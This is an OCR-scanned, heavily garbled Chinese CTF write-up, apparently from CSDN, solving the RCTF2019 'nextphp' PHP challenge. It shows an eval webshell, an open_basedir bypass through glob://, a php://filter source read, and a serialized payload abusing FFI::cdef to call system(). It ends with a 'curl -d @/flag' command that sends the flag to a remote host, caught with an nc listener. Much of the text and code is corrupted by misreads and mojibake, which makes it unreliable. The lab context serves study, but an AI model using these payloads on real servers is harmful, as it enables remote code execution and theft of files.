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C R A FEL | 34a2b62a9-23d0-4Sa-acd7-c3d4b3628283 noded.buug).an:81

<Tphp
if (igeet(3_GETC A 110 1
eval (3_GET[ a" 1J;
}oelse
show_source(  FILE ).
}

CSDN @shut

1 H UG5S T webshell, % % phpinfo

/?a=phpinfo();
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System

Linux out4.19.221-0419221-generic #202112141049 SMF Tue Dec 14 11:54:51 UTC 2021 x86 64

Build Date

Aug 23 2019 00:49:03

Configure Command

"feconfigure' '--build =x86_64-linux-musl' '--with-config-file-path=/usr/localfetc/php' '--with-config-file-
scan-dir=/fusrflocal/etc/php/confd' '--disable-all' '--enable-option-checking =fatal' '--without-sglite3' '--
with-cur' '--with-openssl' '--with-zlib' '--with-ffi' 'build alias=x86 64-linux-musl'

Server API Built-in HTTP server
Virtual Directory Support disabled
Configuration File (php.ini) Path fusrflocal/ete/php
Loaded Configuration File (none)

Scan this dir for additional .ini files

fusrflocalfetc/phpfconfd

Acdditional .ini files parsed

fusrflocal/ete/php/fcontd/dockerphp-ext-opcache.ini, jusr/localfetc/php/contd/php-nextphp.ini

PHP API 20190529
PHP Extension 20190529
Zznd Extension 320190529

Zend Extension Build

API320130529NTS

PHP Extension Build

API20190529,NTS

Debug Build no

Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support disabled
IPv6 Support enabled
DTrace Support disabled

Registered PHP Streams

https, ftps, compress.zlib, php, file, glob, data, http, ftp

Registered Stream Socket Transports

: CSDN @S
tep, udp, unix, udg, ssl, ts, Hswl.0, Hswl 1, tewl.2, tlswl.3 =1pLT ™

R H R BAE RS E, LA HAglob:/ifh Rl it open_basedir

?a= %a=new DirectoryIterator("glob:///*");

foreach(%$a as $f)

{echo($f->__toString()." ');

}




& C m™ A FZE | 34ab6229-23d0-4Sa-ac97-c3d4b3628283 noded buuoj.cn:81 /7a= print_riscandir(%2 7 /%2 7))

Warning: scandir(): open basedir restriction in effect. File(/) is not within the allowed path(s): {/var/www/html) in fvar/www/html/index.php(3) : eval()'d
Warning: scandir(/): failed to open dir. Operation not permitted in fvar/fwww/html/findex.php(3) : eval()'d code on line 1

Warning: scandir(): (errno 1): Operation not permitted in fvarfwww/html/findex.php(3) : eval()'d code on line 1

CSDN @shuzx
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
& al TE  EHl&  Recorder & AR s AE FE R &2 Lighthouse ~ HackBar  EditThisCookie
LOAD SPLIT EXECUTE TEST - sqLl - XSS -~ LFI ~ SSTI ~ ENCODING -~ HASHING ~
URL
http://ed11ac82-e80e-479d-be87-924714db8cd4.nodes. buuoj.cn:81/?a= $a=new Directorylterator("glob:///*");
foreach($a as $f)
{echo($f->__toString(). );
}
. Enable POST application/x-www-form-urlencoded hd ADD HEADER
Body CSDMN @shuzk
RIL4 T H 5% preload.php
/?a=print_r(scandir(%27.%27));
# Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )
< C R A =2 | 34ab62a9-23d0-4c5 a-ac97-c3d4b3628283 noded buud).an:81/7a = print_r(scandir(%27.%27));

Array ([0] => . [1]1 => .. [2] => index.php [3] => preload.php)

P A 85— R preload.php RS (%t 7T LRI B highlight_file£¢ 202 8S)

?a=echo"hello";?><?php include($_GET['b']);&b=php://filter/read=convert.base64-encode/resource=preload.php
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#illBase6d CSS Baseb4 DESIIEH#EE, 3DESIIEMEE AES/INE AR RSAIVEMEE

PD9waHAKZmIuYWwgY2xhc3MgQSBpbXBsZW1IbnRzIFNIcmihbGIE YW.JsZSBT CIAGICBwem90ZWNOZWQgJGRhAGEgPSBbCIAICAGICAgI3IdCe
gPT4gbnVshCwKICAGICAGICANZNVUYycgPT4gJ3ByaW50X3InLAogICAGICAgICdhemeniDOHCcxJwoglCAgXTsKCIAgICBwemI2YXRIIGZ 1bmNOaWwau
IHJ1biAoKSB7CiAgICAgICAgJHRoaXMPmRhdGFbJ3JIdCddIDOgJHRoaXMIPMRhdGFbJ2Z 1bmMnXSgkdGhpey0+ZGF0YVsnYXJnJ10p OwoglCAgF

QoKICAGIHB 1Y mxpYyBmdWw5jdGlvbiBfX3Nlemlhb Gl6ZSgpOiBhenJheSB7 CIAGICAgICAgemY0dXJUICROaGIzL T 5SkY XRhOwogl CAgfQoKICAGIHB1Ym

XpYyBmdW5jdGlvbiBfX3Vuc2WyaWF saXplKGFyemF SICRKYXRhKSB7CIAgICAQICAgY X Jy Y XIfbWyZ2UoJHRoaXMiPmRhdGEsICRkYXRhK TsKICAgI
CAgICAkdGhpcy0+cnVuKCk7CiAgICBICgoglCAgecHYibGIIGZ 1bmNOaWIulHNIcmlhbGI6ZSAoK Toge3RyaW5nIiHsKICAgGICAGICBYZXR 1cmd gc 2Vyaly
FsaXplKCR0aGIzL T5kYXRhKTsKICAgIHOK CiAgICBwdWJsaWMgZnVuY3Rpb24 gdW5zZ XJpYWxpemUo JHBheWxvYWQpIHSKICAgICAGICAKdGhpey
0+ZGFOYSAIIHVUc2VyaWF saXplKCRwY XIsb2FKK TsKICAgICAgICAkdGhpey0+cnVuK Ck7 CiAgICBICgogl CAgeHVIb GlIIGZ 1bmNOavWauIF 9fZ 2V0IC gk p

-

BEEE | OOk OHex BEER : 37043 v BXEE: UTF8

<?php =
final class A implements Serializable |
protected Sdata = [
Tret' => null,
Tfunc' => 'print_rT,
Targ' =» '1°7

17

private function run () |
Sthis->data['ret'] = Sthis->datal'func’]{$this->datal’arg']};

=

CSDN @shzr

preload.php



<?php
final class A implements Serializable {
protected $data = [

ret' => null,
"func' => 'print_r',
=> '1'

arg
1
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
b
public function _ serialize(): array {
return $this->data;
)
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
)
public function serialize (): string {
return serialize($this->data);
)
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
b
public function _ get ($key) {
return $this->data[$key];
)
public function __set ($key, $value) {
throw new \Exception('No implemented');
)
public function _ construct () {
throw new \Exception('No implemented');



fEphpinfo LT LAE 3], php7.4%]Hphp.init i opcache iifin%:; (opcache.preload)

I T FFI

opcacne.preterrea_memery_mogel no value no value
opcache.preload Jvar/www/html/preload.phg farfeewew/html/preload.php
opcache.protect memory 4] 0
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FFI APl opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To

minimize risk PHP FFI APl usage may be restricted. By default FFI APl may be used only in CLI scripts and preloaded PHP files. This may be

changed through ffi.enable INI directive. This is INI_SYSTEM directive and it's value can't be changed at run-time.

ffi.enable=false completely disables P

HP FFI API

ffi.enable=true enables PHP FF| APl without any restrictions

ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

JESEER ffi.enable=preload ** B{RTEH SRR **preload 3{AaJH, TEAUIE ffi.enable=preload T\, webimtb2FiEHIT FFI
. 15 ffi.enable i2=Rk true [, =T web i5540] LRI FFI 7,

It LAfE preload.php I s 504k, A5 FFIE 71 H systempf %1

php/i4

<?php
final class A implements Serializable
protected $data = [
'ret' => null,
"func' => 'FFI::cdef’',

{

'arg' => 'int system(const char *command);'

1;

public function serialize (): string {

return serialize($this->data);

public function unserialize($payload) {
$this->data = unserialize($payload);

$this->run();

)
$a = new A;
echo serialize($a);

# C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI

SRJE A rund7 i4hAT, A5 ] fsystempRi #e CHLS IR ANRIIE Jynd R IR 5 At A B B/flag 1)

payload

CSDN @shuzft

ricdef";s:3:"arg";s:32:"int system(const char *command);";}}


https://mochazz.github.io/2019/05/21/RCTF2019Web%25E9%25A2%2598%25E8%25A7%25A3%25E4%25B9%258Bnextphp/#nextphp

?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char
*command);";}}"');var_dump($a->ret->system('1ls'));

R MR B AR, Rishellti s, AL curfiflagis i

?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char
*command);";}}');print_r($a->ret->system('curl -d @/flag 106.xxxxxx:7895"'));

root@instance-wzdOkufc:~# nc -1lvvp 7895
Listening on [0.0.0.0] (family @, port 7895)
Connection from 40210 received!
POST / HTTP/1.1

Host: 1 _ : 7895

User-Agent: curl/7.64.0

Accept: */*

Content-Length: 42

Content-Type: application/x-www-Torm-urlencoded

flag{713b512f-7ach-4a6T-b5b6-663a9acT5Tes}j]

GIXFh T R B, AT DU 2 PR H S iflag’s 2lwwwivar/html H 5%, E#205 &5

ZZ#wp: https://blog.csdn.net/fmyyy1/article/details/116998001
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